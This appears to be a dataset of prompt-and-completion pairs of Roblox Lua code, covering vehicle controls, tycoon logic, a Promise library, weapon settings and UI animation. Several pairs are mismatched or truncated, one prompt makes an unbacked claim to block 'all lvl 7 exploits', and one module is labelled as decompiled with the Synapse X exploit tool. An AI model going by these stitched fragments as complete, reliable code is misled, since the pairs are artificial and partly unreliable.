Prompt:
--local bodyPosition = Instance.new("BodyPosition", car.Chassis)
--bodyPosition.MaxForce = Vector3.new()
--local bodyGyro = Instance.new("BodyGyro", car.Chassis)
--bodyGyro.MaxTorque = Vector3.new()

Response:
local function UpdateThruster(thruster)
	-- Raycasting
	local hit, position = Raycast.new(thruster.Position, thruster.CFrame:vectorToWorldSpace(Vector3.new(0, -1, 0)) * stats.Height.Value) --game.Workspace:FindPartOnRay(ray, car)
	local thrusterHeight = (position - thruster.Position).magnitude

	-- Wheel
	local wheelWeld = thruster:FindFirstChild("WheelWeld")
	wheelWeld.C0 = CFrame.new(0, -math.min(thrusterHeight, stats.Height.Value * 0.8) + (wheelWeld.Part1.Size.Y / 2), 0)
	-- Wheel turning
	local offset = car.Chassis.CFrame:inverse() * thruster.CFrame
	local speed = car.Chassis.CFrame:vectorToObjectSpace(car.Chassis.Velocity)
	if offset.Z < 0 then
		local direction = 1
		if speed.Z > 0 then
			direction = -1
		end
		wheelWeld.C0 = wheelWeld.C0 * CFrame.Angles(0, (car.Chassis.RotVelocity.Y / 2) * direction, 0)
	end

	-- Particles
	if hit and thruster.Velocity.magnitude >= 5 then
		wheelWeld.Part1.ParticleEmitter.Enabled = true
	else
		wheelWeld.Part1.ParticleEmitter.Enabled = false
	end
end

car.Event.OnServerEvent:Connect(function(Player)
	if Player and Player.Character then
		if (Player.Character.HumanoidRootPart.Position-car.DriveSeat.Position).magnitude <= car.Configurations.Range.Value then
			if not HasDriver then
				car.DriveSeat:Sit(Player.Character.Humanoid)
			end
		end
	end
end)

car.DriveSeat.Changed:connect(function(property)
	if property == "Occupant" then
		if car.DriveSeat.Occupant then
			car.EngineBlock.Running.Pitch = 1
			car.EngineBlock.Running:Play()
			local player = game.Players:GetPlayerFromCharacter(car.DriveSeat.Occupant.Parent)
			if player then
				HasDriver = true
				car.DriveSeat:SetNetworkOwner(player)
				local localCarScript = script.LocalCarScript:Clone()
				localCarScript.Parent = player.PlayerGui
				localCarScript.Car.Value = car
				localCarScript.Disabled = false
			end
		else
			HasDriver = false
			car.EngineBlock.Running:Stop()
		end
	end
end)


Prompt:
--CMDR.Registry:RegisterHook("AfterRun", function(context)
--	local MessageData = {
--		["content"] = "**" .. context.Executor.Name .. "** ran command `"..context.RawText.."`"
--	}


Prompt:
-- creates a mask with 'n' 1 bits at position 'p'
-- MASK1(n,p) deleted, not required
-- creates a mask with 'n' 0 bits at position 'p'
-- MASK0(n,p) deleted, not required


Prompt: --DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!

Response:
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.PieBomb -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage

hitPart.Touched:Connect(function(hit)
	if debounce == true then
		if hit.Parent:FindFirstChild("Humanoid") then
			local plr = game.Players:FindFirstChild(hit.Parent.Name)
			if plr then
				debounce = false
				hitPart.BrickColor = BrickColor.new("Bright red")
				tool:Clone().Parent = plr.Backpack
				wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
				debounce = true
				hitPart.BrickColor = BrickColor.new("Bright green")
			end
		end
	end
end)


Prompt: --// B_arocena

Response:
local _C = {}

function _C.RemoveHat(hts)
	for i=1, #hts do
	if (hts[i].className == "Accessory") or (hts[i].className == "Hat") then
	hts[i]:remove()
end
end
end

function _C.ShirtPant (Outfit,Player,CClass)
	if CClass.Current.Value < CClass.Max.Value then
	if Player.Class.Current_Class.Value == "None" then
	if Outfit.Shirt.Value ~= 0 then
		Player.Character:WaitForChild("Shirt"):destroy()
		game:GetService("InsertService"):LoadAsset(Outfit.Shirt.Value).Shirt.Parent = Player.Character
	end
	if Outfit.Pant.Value ~= 0 then
		Player.Character:WaitForChild("Pants"):destroy()
		game:GetService("InsertService"):LoadAsset(Outfit.Pant.Value).Pants.Parent = Player.Character
	end
	end
	end
end

function _C.GiveHat (s,CSYS,Player,Outfit,CClass)
if CClass.Current.Value < CClass.Max.Value then
	if Player.Class.Current_Class.Value == "None" then
if s.Value ~= "" then
local g = CSYS.HATS[s.Value]:clone()
		g.Parent = Player.Character
		local C = g:GetChildren()
		for i=1, #C do
			if C[i]:IsA("BasePart")  then
				local W = Instance.new("Weld")
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
				g.Middle.Transparency = 1
			end
				local Y = Instance.new("Weld")
				local Result = (s.Value):match("BACKPACK")
				if Result == nil then
				Y.Part0 = Player.Character.Head
				else
				Y.Part0 = Player.Character.Torso
				end
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			h[i].Anchored = false
			h[i].CanCollide = false
		end
end
end
end
end

function _C.giveclass (CClass,Player,CLNAME,Tools,Gui)
	if CClass.Current.Value < CClass.Max.Value then
	if Player.Class.Current_Class.Value == "None" then
	Player.Class.Current_Class.Value = CLNAME
	CClass.Current.Value = CClass.Current.Value + 1
	for i = 1, #Tools do
    Tools[i]:Clone().Parent = Player.Backpack
end
Gui:Destroy()
end
end
end

return _C


Prompt: --[[Status Vars]]

Response:
	local _IsOn = _Tune.AutoStart
	if _Tune.AutoStart then script.Parent.IsOn.Value=true end

	local _GSteerT=0
	local _GSteerC=0
	local _GThrot=0
	local _GThrotShift=1
	local _GBrake=0

	local _ClutchOn = true
	local _ClPressing = false
	local _RPM = 0
	local _HP = 0
	local _OutTorque = 0
	local _CGear = 0
	local _PGear = _CGear
	local _spLimit = 0

	local _TMode = _Tune.TransModes[1]

	local _MSteer = false
	local _SteerL = false
	local _SteerR = false
	local _PBrake = false
	local _TCS = _Tune.TCSEnabled
	local _TCSActive = false
	local _TCSAmt = 0
	local _ABS = _Tune.ABSEnabled
	local _ABSActive = false

	local FlipWait=tick()
	local FlipDB=false

	local _InControls = false


Response:
PainKillerQnt.Text 	= PainKiller.Value
BandageQnt.Text 	= Bandage.Value
EnergyShotQnt.Text 	= EnergyShot.Value
EpinephrineQnt.Text = Epinephrine.Value
MorphineQnt.Text 	= Morphine.Value
SplintQnt.Text 		= Splint.Value
TourniquetQnt.Text 	= Tourniquet.Value

PainKiller.Changed:Connect(function()
	PainKillerQnt.Text = PainKiller.Value
end)

Bandage.Changed:Connect(function()
	BandageQnt.Text = Bandage.Value
end)

Splint.Changed:Connect(function()
	SplintQnt.Text = Splint.Value
end)

Tourniquet.Changed:Connect(function()
	TourniquetQnt.Text = Tourniquet.Value
end)

EnergyShot.Changed:Connect(function()
	EnergyShotQnt.Text = EnergyShot.Value
end)

Epinephrine.Changed:Connect(function()
	EpinephrineQnt.Text = Epinephrine.Value
end)

Morphine.Changed:Connect(function()
	MorphineQnt.Text = Morphine.Value
end)

SacoDeSangue.Changed:Connect(function()
	SacoDeSangueQnt.Text = SacoDeSangue.Value
end)

Target.Changed:Connect(function(Valor)
	if Valor == nil then
		PTexto.Text =  player.Name
	else
		PTexto.Text =  Valor.Name
	end
end)


Prompt:
------------------------------------------------------------------------
--
-- * used in (lparser) luaY:closelistfield(), luaY:lastlistfield()
------------------------------------------------------------------------

Response:
function luaK:setlist(fs, base, nelems, tostore)
  local c = math.floor((nelems - 1)/luaP.LFIELDS_PER_FLUSH) + 1
  local b = (tostore == luaY.LUA_MULTRET) and 0 or tostore
  assert(tostore ~= 0)
  if c <= luaP.MAXARG_C then
    self:codeABC(fs, "OP_SETLIST", base, b, c)
  else
    self:codeABC(fs, "OP_SETLIST", base, b, 0)
    self:code(fs, luaP:CREATE_Inst(c), fs.ls.lastline)
  end
  fs.freereg = base + 1  -- free registers with list values
end

return function(a) luaY = a return luaK end


Prompt: -- connect events

Response:
Enemy.Died:connect(onDied)
Enemy.Running:connect(onRunning)
Enemy.Jumping:connect(onJumping)
Enemy.Climbing:connect(onClimbing)
Enemy.GettingUp:connect(onGettingUp)
Enemy.FreeFalling:connect(onFreeFall)
Enemy.FallingDown:connect(onFallingDown)
Enemy.Seated:connect(onSeated)
Enemy.PlatformStanding:connect(onPlatformStanding)
Enemy.Swimming:connect(onSwimming)


Prompt:
--[[for x = 1, 50 do
s.Pitch = s.Pitch + 0.01
s:play()
wait(0.001)
end]]

Response:
for x = 50, 120 do
s:play()
wait(0.001)
end
for x = 50, 120 do
s.Pitch = s.Pitch - 0.0020
s:play()
wait(0.001)
end
wait()
end


Prompt:
--[[
	All configurations are located in the "Settings" Module script.
	Please don't edit this script unless you know what you're doing.
--]]

Response:
local Tycoons = {}

local RebirthSettings = require(script.Parent.SaveTrigger.Settings)
local Teams = game:GetService('Teams')
local Settings = require(script.Parent.Settings)
local BC = BrickColor

local playerMoney = game:GetService("ServerStorage"):FindFirstChild("PlayerMoney")
local PlayerStatManager = require(script.Parent:WaitForChild("PlayerStatManager"))

print("Running Core_Handler_New-----------")
if playerMoney == nil then
	print("playerMoney == nil ------------")
	local Storage = Instance.new('Folder', game.ServerStorage)
	Storage.Name = "PlayerMoney"
end

Instance.new('Model',workspace).Name = "PartStorage" --  parts dropped go in here to be killed >:)

function returnColorTaken(color)
	for i,v in pairs(Teams:GetChildren()) do
		if v:IsA('Team') then
			if v.TeamColor == color then
				return true
			end
		end
	end
	return false
end


Prompt: -- main:

Response:
physicsService:CreateCollisionGroup("Characters")
physicsService:CollisionGroupSetCollidable("Characters", "Characters", false)

players.PlayerAdded:Connect(function(player)
	player.CharacterAdded:Connect(handleCharacter)
end)

for i, v in pairs(game.ReplicatedStorage.Enemys:GetChildren()) do
	if v:IsA("Model") then
		handleNPcs(v)
	end
end

for i, v in pairs(game.ReplicatedStorage.Units:GetChildren()) do
	if v:IsA("Model") then
		handleNPcs(v)
	end
end


Prompt: -- RCM Settings V

Response:
self.WeaponWeight		= 4 -- Weapon weight must be enabled in the Config module

self.ShellEjectionMod	= true

self.Holster			= true
self.HolsterPoint		= "Torso"
self.HolsterCFrame		= CFrame.new(0.65,0.1,-0.8) * CFrame.Angles(math.rad(-90),math.rad(15),math.rad(75))

self.FlashChance = 4 -- 0 = no muzzle flash, 10 = Always muzzle flash

self.ADSEnabled 		= { -- Ignore this setting if not using an ADS Mesh
	true, -- Enabled for primary sight
	false} -- Enabled for secondary sight (T)

self.ExplosiveAmmo		= false -- Enables explosive ammo
self.ExplosionRadius	= 70 -- Radius of explosion damage in studs
self.ExplosionType		= "Default" -- Which explosion effect is used from the HITFX Explosion folder
self.IsLauncher			= true -- For RPG style rocket launchers

self.EjectionOverride	= nil -- Don't touch unless you know what you're doing with Vector3s

return self


Prompt:
--[[
	Intended for use in tests.

	Similar to await(), but instead of yielding if the promise is unresolved,
	_unwrap will throw. This indicates an assumption that a promise has
	resolved.
]]

Response:
function Promise.prototype:_unwrap()
	if self._status == Promise.Status.Started then
		error("Promise has not resolved or rejected.", 2)
	end

	local success = self._status == Promise.Status.Resolved

	return success, unpack(self._values, 1, self._valuesLength)
end

function Promise.prototype:_resolve(...)
	if self._status ~= Promise.Status.Started then
		if Promise.is((...)) then
			(...):_consumerCancelled(self)
		end
		return
	end

	-- If the resolved value was a Promise, we chain onto it!
	if Promise.is((...)) then
		-- Without this warning, arguments sometimes mysteriously disappear
		if select("#", ...) > 1 then
			local message = string.format(
				"When returning a Promise from andThen, extra arguments are " ..
				"discarded! See:\n\n%s",
				self._source
			)
			warn(message)
		end

		local chainedPromise = ...

		local promise = chainedPromise:andThen(
			function(...)
				self:_resolve(...)
			end,
			function(...)
				local maybeRuntimeError = chainedPromise._values[1]

				-- Backwards compatibility < v2
				if chainedPromise._error then
					maybeRuntimeError = Error.new({
						error = chainedPromise._error,
						kind = Error.Kind.ExecutionError,
						context = "[No stack trace available as this Promise originated from an older version of the Promise library (< v2)]",
					})
				end

				if Error.isKind(maybeRuntimeError, Error.Kind.ExecutionError) then
					return self:_reject(maybeRuntimeError:extend({
						error = "This Promise was chained to a Promise that errored.",
						trace = "",
						context = string.format(
							"The Promise at:\n\n%s\n...Rejected because it was chained to the following Promise, which encountered an error:\n",
							self._source
						),
					}))
				end

				self:_reject(...)
			end
		)

		if promise._status == Promise.Status.Cancelled then
			self:cancel()
		elseif promise._status == Promise.Status.Started then
			-- Adopt ourselves into promise for cancellation propagation.
			self._parent = promise
			promise._consumers[self] = true
		end

		return
	end

	self._status = Promise.Status.Resolved
	self._valuesLength, self._values = pack(...)

	-- We assume that these callbacks will not throw errors.
	for _, callback in ipairs(self._queuedResolve) do
		coroutine.wrap(callback)(...)
	end

	self:_finalize()
end

function Promise.prototype:_reject(...)
	if self._status ~= Promise.Status.Started then
		return
	end

	self._status = Promise.Status.Rejected
	self._valuesLength, self._values = pack(...)

	-- If there are any rejection handlers, call those!
	if not isEmpty(self._queuedReject) then
		-- We assume that these callbacks will not throw errors.
		for _, callback in ipairs(self._queuedReject) do
			coroutine.wrap(callback)(...)
		end
	else
		-- At this point, no one was able to observe the error.
		-- An error handler might still be attached if the error occurred
		-- synchronously. We'll wait one tick, and if there are still no
		-- observers, then we should put a message in the console.

		local err = tostring((...))

		coroutine.wrap(function()
			Promise._timeEvent:Wait()

			-- Someone observed the error, hooray!
			if not self._unhandledRejection then
				return
			end

			-- Build a reasonable message
			local message = string.format(
				"Unhandled Promise rejection:\n\n%s\n\n%s",
				err,
				self._source
			)

			if Promise.TEST then
				-- Don't spam output when we're running tests.
				return
			end

			warn(message)
		end)()
	end

	self:_finalize()
end


Prompt: -- ~60 c/s

Response:
game["Run Service"].Stepped:connect(function()
	--RPM
	RPM()

	--Update External Values
	_IsOn = script.Parent.IsOn.Value
	_InControls = script.Parent.ControlsOpen.Value
	script.Parent.Values.Gear.Value = _CGear
	script.Parent.Values.RPM.Value = _RPM
	script.Parent.Values.Horsepower.Value = _HP
	script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM
	script.Parent.Values.TransmissionMode.Value = _TMode
	script.Parent.Values.Throttle.Value = _GThrot
	script.Parent.Values.Brake.Value = _GBrake
	script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))
	script.Parent.Values.SteerT.Value = _GSteerT
	script.Parent.Values.PBrake.Value = _PBrake
	script.Parent.Values.TCS.Value = _TCS
	script.Parent.Values.TCSActive.Value = _TCSActive
	script.Parent.Values.ABS.Value = _ABS
	script.Parent.Values.ABSActive.Value = _ABSActive
	script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity
end)


Prompt:
--this will block all lvl 7 exploits such as Synapse-X, RC7, Protosmasher, and more including FE exploits and scripts
--just add this to server script storage


Prompt: -- Player

Response:
local localPlayer = PlayerService.LocalPlayer
local character = localPlayer.Character


Prompt:
--[=[
	Provides utility functions to work with attributes in Roblox
	@class AttributeUtils
]=]

Response:
local require = require(script.Parent.loader).load(script)

local RunService = game:GetService("RunService")

local Maid = require("Maid")

local AttributeUtils = {}


Prompt:
--[=[
	Binds the given update function to [RunService.Stepped]. See [StepUtils.bindToRenderStep] for details.

	:::tip
	Be sure to call the disconnect function when cleaning up, otherwise you may memory leak.
	:::

	@param update () -> boolean -- should return true while it needs to update
	@return (...) -> () -- Connect function
	@return () -> () -- Disconnect function
]=]

Response:
function StepUtils.bindToStepped(update)
	return StepUtils.bindToSignal(RunService.Stepped, update)
end


Response:
local toolAnimName = ""
local toolOldAnimTrack = nil
local toolAnimTrack = nil
local currentToolAnimKeyframeHandler = nil

function toolKeyFrameReachedFunc(frameName)
	if (frameName == "End") then
		--		print("Keyframe : ".. frameName)
		local repeatAnim = stopToolAnimations()
		playToolAnimation(repeatAnim, 0.0, Humanoid)
	end
end

function playToolAnimation(animName, transitionTime, humanoid)
	if (animName ~= toolAnimName) then

		if (toolAnimTrack ~= nil) then
			toolAnimTrack:Stop()
			toolAnimTrack:Destroy()
			transitionTime = 0
		end

		local roll = math.random(1, animTable[animName].totalWeight)
		local origRoll = roll
		local idx = 1
		while (roll > animTable[animName][idx].weight) do
			roll = roll - animTable[animName][idx].weight
			idx = idx + 1
		end
		--		print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
		local anim = animTable[animName][idx].anim

		-- load it to the humanoid; get AnimationTrack
		toolOldAnimTrack = toolAnimTrack
		toolAnimTrack = humanoid:LoadAnimation(anim)

		-- play the animation
		toolAnimTrack:Play(transitionTime)
		toolAnimName = animName

		currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
	end
end

function stopToolAnimations()
	local oldAnim = toolAnimName

	if (currentToolAnimKeyframeHandler ~= nil) then
		currentToolAnimKeyframeHandler:disconnect()
	end

	toolAnimName = ""
	if (toolAnimTrack ~= nil) then
		toolAnimTrack:Stop()
		toolAnimTrack:Destroy()
		toolAnimTrack = nil
	end

	return oldAnim
end


Prompt: --[ Activation ]:

Response:
coroutine.resume(coroutine.create(function()
	while RunSrv.RenderStepped:wait() and Hum:GetState().Value~=15 do	--[ Adding wait() here is the same as adding wait() later. ]
		local CamCF = Cam.CoordinateFrame
		--local MsePos = Mouse.Origin.p	--[ Might do something with this in a future update... ]
		if ((IsR6 and Body["Torso"]) or Body["UpperTorso"])~=nil and Body["Head"]~=nil then	--[ Check for the Torso and Head... ]
			local TrsoLV = Trso.CFrame.lookVector
			local HdPos = Head.CFrame.p
			if ((IsR6 and Trso["Neck"]) or Head["Neck"])~=nil then	--[ Make sure the Neck still exists. ]
				if Cam.CameraSubject:IsDescendantOf(Body) or Cam.CameraSubject:IsDescendantOf(Plr) then
					local Dist = nil;
					local Diff = nil;
					if not MseGuide then	--[ If not tracking the Mouse then get the Camera. ]
						Dist = (Head.CFrame.p-CamCF.p).magnitude
						Diff = Head.CFrame.Y-CamCF.Y
						if not IsR6 then	--[ R6 and R15 Neck rotation C0s are different; R15: X axis inverted and Z is now the Y. ]
							Neck.C0 = OrgnC0*Ang((aSin(Diff/Dist)*Fctor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y, 0)
						else	--[ R15s actually have the properly oriented Neck CFrame. ]
							Neck.C0 = OrgnC0*Ang(-(aSin(Diff/Dist)*Fctor), 0, -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y)
						end
					else
						local _, Point = Wrks:FindPartOnRay(Ray.new(Head.CFrame.p, Mouse.Hit.lookVector), Wrks, false, true)
						Dist = (Head.CFrame.p-Point).magnitude
						Diff = Head.CFrame.Y-Point.Y
						if not IsR6 then
							Neck.C0 = OrgnC0*Ang(-(aTan(Diff/Dist)*Fctor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*Fctor, 0)
						else
							Neck.C0 = OrgnC0*Ang((aTan(Diff/Dist)*Fctor), 0, (((HdPos-Point).Unit):Cross(TrsoLV)).Y*Fctor)
						end
					end
				end
			end
		end
	end
end))


Prompt: -- Placeholder texture can be any roblox asset link

Response:
local initialTexture = ""

local RowCount = 1
local ColCount = 2
local perImageSpriteCount = RowCount * ColCount
local width = 256
local height = 384

local framesInTotal = 2
assert(numImages * RowCount * ColCount >= framesInTotal)

local animPeriod = 0.5 -- period for the whole animation, in seconds
assert(animPeriod > 0)

local curImageIdx = 0
local curSpriteIdx = 0

local fps = framesInTotal / animPeriod
local accumulatedTime = 0

local function AnimateImageSpriteSheet(dt)
	accumulatedTime = math.fmod(accumulatedTime + dt, animPeriod)
	curSpriteIdx = math.floor(accumulatedTime * fps)

	local prevImageIndex = curImageIdx
	curImageIdx = math.floor(curSpriteIdx / perImageSpriteCount)
	if prevImageIndex ~= curImageIdx then
		imageInstance.Image = imageAssetIDs[curImageIdx + 1]
	end

	local localSpriteIndex = curSpriteIdx - curImageIdx * perImageSpriteCount
	local row = math.floor(localSpriteIndex / ColCount)
	local col = localSpriteIndex - row * ColCount
	imageInstance.ImageRectOffset = Vector2.new(col * width, row * height)
end

Animator.Connection = nil

Animator.Init = function()
	Animator.Connection = game:GetService("RunService").RenderStepped:Connect(AnimateImageSpriteSheet)
end

Animator.Stop = function()
	if Animator.Connection then
		imageInstance.Image = initialTexture
		Animator.Connection:Disconnect()
	end
end

return Animator


Prompt: ---[[ Command/Filter Priorities ]]

Response:
module.VeryLowPriority = -5
module.LowPriority = 0
module.StandardPriority = 10
module.HighPriority = 20
module.VeryHighPriority = 25

module.WhisperChannelPrefix = "To "

return module


Prompt: --Equip a title for a player

Response:
function functions.EquipTitle(plr: Player, titleName: string)

	local plrStats = plr.leaderstats
	local plrTitles = plrStats.Titles
	local plrEquippedTitle = plrStats.EquippedTitle

	if plrTitles:FindFirstChild(titleName) then

		functions.UnequipTitle(plr)

		plrEquippedTitle.Value = titleName

		functions.CreateBillboardGui(plr)
	end
end


Prompt: -- Local Functions

Response:
local function CreateRocket()
	local rocketCopy = RocketTemplate:Clone()
	rocketCopy.PrimaryPart.CFrame = CFrame.new(Configurations.StoragePosition.Value)
	rocketCopy.Parent = Storage
	rocketCopy.PrimaryPart:SetNetworkOwner(Owner)
	if(Owner) then
		rocketCopy.PrimaryPart.BrickColor = Owner.TeamColor
	end

	table.insert(Buffer, rocketCopy)
end

local function IntializeBuffer()
	for i = 1, Configurations.BufferSize.Value do
		CreateRocket()
	end
end

local function RemoveFromBuffer(rocket)
	for i = 1, #Buffer do
		if Buffer[i] == rocket then
			table.remove(Buffer, i)
			return
		end
	end
end

local function ResetRocketOwner()
	for _, rocket in ipairs(Buffer) do
		rocket.PrimaryPart:SetNetworkOwner(Owner)
		if(Owner) then
			rocket.PrimaryPart.BrickColor = Owner.TeamColor
		end
	end
end

local function OnExplosionHit(part, distance)
	local player = Players:GetPlayerFromCharacter(part.Parent) or Players:GetPlayerFromCharacter(part.Parent.Parent)
	if not player then
		if part.Parent.Name ~= 'RocketLauncher' and part.Parent.Name ~= 'Flag' and not part.Anchored then
			local volume = part.Size.X * part.Size.Y * part.Size.Z
			if volume <= Configurations.MaxDestroyVolume.Value then
				if distance < Configurations.BlastRadius.Value * Configurations.DestroyJointRadiusPercent.Value then
					part:BreakJoints()
				end
				if part.Parent.Name == "Rocket" then
					RemoveFromBuffer(part.Parent)
				end
				if #part:GetChildren() == 0 then
					wait(2 * volume)
					part:Destroy()
				end

			end
		end
	end
end

local function OnRocketHit(player, rocket, position)
	local explosion = Instance.new('Explosion', game.Workspace)
	explosion.ExplosionType = Enum.ExplosionType.NoCraters
	explosion.DestroyJointRadiusPercent = 0
	explosion.BlastRadius = Configurations.BlastRadius.Value
	explosion.BlastPressure = Configurations.BlastPressure.Value
	explosion.Position = position

	rocket.Part.Fire.Enabled = false
	wait(1)
	rocket:Destroy()
end

local function OnChanged(property)
	if property == 'Parent' then
		if Tool.Parent.Name == 'Backpack' then
			local backpack = Tool.Parent
			Owner = backpack.Parent
		elseif Players:GetPlayerFromCharacter(Tool.Parent) then
			Owner = Players:GetPlayerFromCharacter(Tool.Parent)
		else
			Owner = nil
		end
		ResetRocketOwner()
	end
end

local function OnFireRocket(player, rocket)
	rocket.Rocket.Transparency = 0
	rocket.Part.Fire.Enabled = true
	CreateRocket()
end

local function DamagePlayer(hitPlayerId, player, damage)
	local hitPlayer = Players:GetPlayerByUserId(tonumber(hitPlayerId))
	if (hitPlayer.TeamColor == player.TeamColor and Configurations.FriendlyFire.Value) or hitPlayer.TeamColor ~= player.TeamColor then
		local humanoid = hitPlayer.Character:FindFirstChild('Humanoid')
		if humanoid then
			humanoid:TakeDamage(damage)
		end
	end
end

local function OnHitPlayers(player, hitPlayers)
	for hitPlayerId, _ in pairs(hitPlayers) do
		DamagePlayer(hitPlayerId, player, Configurations.SplashDamage.Value)
	end
end

local function OnDirectHitPlayer(player, hitPlayerId)
	DamagePlayer(hitPlayerId, player, Configurations.Damage.Value)
end


Prompt: --Please edit the parts you'd like to change

Response:
wait(0.1)
local indicatorOn = BrickColor.new("Deep orange") --The color when the indicators are on.
local indicatorOff = BrickColor.new("Bright orange") --The color when the indicators are off.
local headlightOff = BrickColor.new("Institutional white") --The color when the headlights are off
local headlightLow = BrickColor.new("Institutional white") --The color when the low beams are on
local headlightHi = BrickColor.new("Institutional white") --The color when the hi beams are on
local reverseOn = BrickColor.new("Institutional white") --The color when in reverse
local reverseOff = BrickColor.new("Mid gray") --The color when not in reverse
local brakelightOn = BrickColor.new("Really red") --The color when the brakes are on
local brakelightOff = BrickColor.new("Maroon") --The color when the brakes are off
local rearrunOn = BrickColor.new("Bright red") --The color when the rear running lights are on
local rearrunOff = BrickColor.new("Maroon") --The color when the rear running lights are off


Prompt:
-- ROBLOX deviation: skipping path
-- local path = require("path")

Response:
local WIN_SLASH = "\\\\/"
local WIN_NO_SLASH = ("[^%s]"):format(WIN_SLASH)


Prompt: --//services//--

Response: local tweenService = game:GetService("TweenService")


Prompt: -- create a holder for our bar

Response:
local frame = Instance.new("Frame", screenGui)
frame.AnchorPoint = Vector2.new(0.5, 0.5)
frame.Position = UDim2.new(0.5, 0, 0.5, 0)
frame.Size = UDim2.new(0.3, 0, 0.05, 0)


Prompt: -- Variables

Response:
local Constructor = {}
local Index, NewIndex


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = {};
local u1 = require(script.Parent.CameraShakeInstance);
function v1.Bump()
	local v2 = u1.new(2.5, 4, 0.1, 0.75);
	v2.PositionInfluence = Vector3.new(0.15, 0.15, 0.15);
	v2.RotationInfluence = Vector3.new(1, 1, 1);
	return v2;
end;
function v1.BigBump()
	local v3 = u1.new(2.5, 4, 0.1, 0.75);
	v3.PositionInfluence = Vector3.new(0.8, 0.8, 0.8);
	v3.RotationInfluence = Vector3.new(1, 1, 1);
	return v3;
end;
function v1.SmallBump()
	local v4 = u1.new(2.5, 4, 0.1, 0.75);
	v4.PositionInfluence = Vector3.new(0.01, 0.01, 0.01);
	v4.RotationInfluence = Vector3.new(0.5, 0.5, 0.5);
	return v4;
end;
function v1.Explosion()
	local v5 = u1.new(5, 10, 0, 1.5);
	v5.PositionInfluence = Vector3.new(0.25, 0.25, 0.25);
	v5.RotationInfluence = Vector3.new(4, 1, 1);
	return v5;
end;
function v1.BumpRemaked()
	local v6 = u1.new(2, 5, 0, 1);
	v6.PositionInfluence = Vector3.new(0.2, 0.2, 0.2);
	v6.RotationInfluence = Vector3.new(3, 1, 1);
	return v6;
end;
function v1.BigExplosion()
	local v7 = u1.new(20, 40, 0, 2);
	v7.PositionInfluence = Vector3.new(0.55, 0.55, 0.55);
	v7.RotationInfluence = Vector3.new(5, 2, 2);
	return v7;
end;
function v1.ReallyBigExplosion()
	local v8 = u1.new(30, 50, 0, 1.5);
	v8.PositionInfluence = Vector3.new(1, 1, 1);
	v8.RotationInfluence = Vector3.new(5, 2, 2);
	return v8;
end;
function v1.SmallExplosion()
	local v9 = u1.new(5, 10, 0, 1.5);
	v9.PositionInfluence = Vector3.new(0.15, 0.15, 0.15);
	v9.RotationInfluence = Vector3.new(4, 1, 1);
	return v9;
end;
function v1.ExplosionNormal()
	local v10 = u1.new(5, 10, 0, 1.5);
	v10.PositionInfluence = Vector3.new(3, 3, 3);
	v10.RotationInfluence = Vector3.new(4, 1, 1);
	return v10;
end;
function v1.Earthquake()
	local v11 = u1.new(0.6, 3.5, 2, 10);
	v11.PositionInfluence = Vector3.new(0.25, 0.25, 0.25);
	v11.RotationInfluence = Vector3.new(1, 1, 4);
	return v11;
end;
function v1.BadTrip()
	local v12 = u1.new(10, 0.15, 5, 10);
	v12.PositionInfluence = Vector3.new(0, 0, 0.15);
	v12.RotationInfluence = Vector3.new(2, 1, 4);
	return v12;
end;
function v1.HandheldCamera()
	local v13 = u1.new(1, 0.25, 5, 10);
	v13.PositionInfluence = Vector3.new(0, 0, 0);
	v13.RotationInfluence = Vector3.new(1, 0.5, 0.5);
	return v13;
end;
function v1.Vibration()
	local v14 = u1.new(0.4, 20, 2, 2);
	v14.PositionInfluence = Vector3.new(0, 0.15, 0);
	v14.RotationInfluence = Vector3.new(1.25, 0, 4);
	return v14;
end;
function v1.RoughDriving()
	local v15 = u1.new(1, 2, 1, 1);
	v15.PositionInfluence = Vector3.new(0, 0, 0);
	v15.RotationInfluence = Vector3.new(1, 1, 1);
	return v15;
end;
local v16 = {};
function v16.__index(p1, p2)
	local v17 = v1[p2];
	if type(v17) == "function" then
		return v17();
	end;
	error("No preset found with index \"" .. p2 .. "\"");
end;
return setmetatable({}, v16);


Prompt:
--[[
	Called when the goal state changes value; this will initiate a new tween.
	Returns false as the current value doesn't change right away.
]]

Response:
function class:update(): boolean
	self._prevValue = self._currentValue
	self._nextValue = self._goalState:get(false)

	self._currentTweenStartTime = os.clock()
	self._currentTweenInfo = self._tweenInfo

	local tweenDuration = self._tweenInfo.DelayTime + self._tweenInfo.Time
	if self._tweenInfo.Reverses then
		tweenDuration += self._tweenInfo.Time
	end
	tweenDuration *= math.max(self._tweenInfo.RepeatCount, 1)
	self._currentTweenDuration = tweenDuration

	-- start animating this tween
	TweenScheduler.add(self)
	return false
end

local function Tween<T>(
	goalState: PubTypes.Value<T>,
	tweenInfo: TweenInfo?
): Types.Tween<T>

	local currentValue = goalState:get(false)

	local self = setmetatable({
		type = "State",
		kind = "Tween",
		dependencySet = {[goalState] = true},
		-- if we held strong references to the dependents, then they wouldn't be
		-- able to get garbage collected when they fall out of scope
		dependentSet = setmetatable({}, WEAK_KEYS_METATABLE),
		_goalState = goalState,
		_tweenInfo = tweenInfo or TweenInfo.new(),

		_prevValue = currentValue,
		_nextValue = currentValue,
		_currentValue = currentValue,

		-- store current tween into separately from 'real' tween into, so it
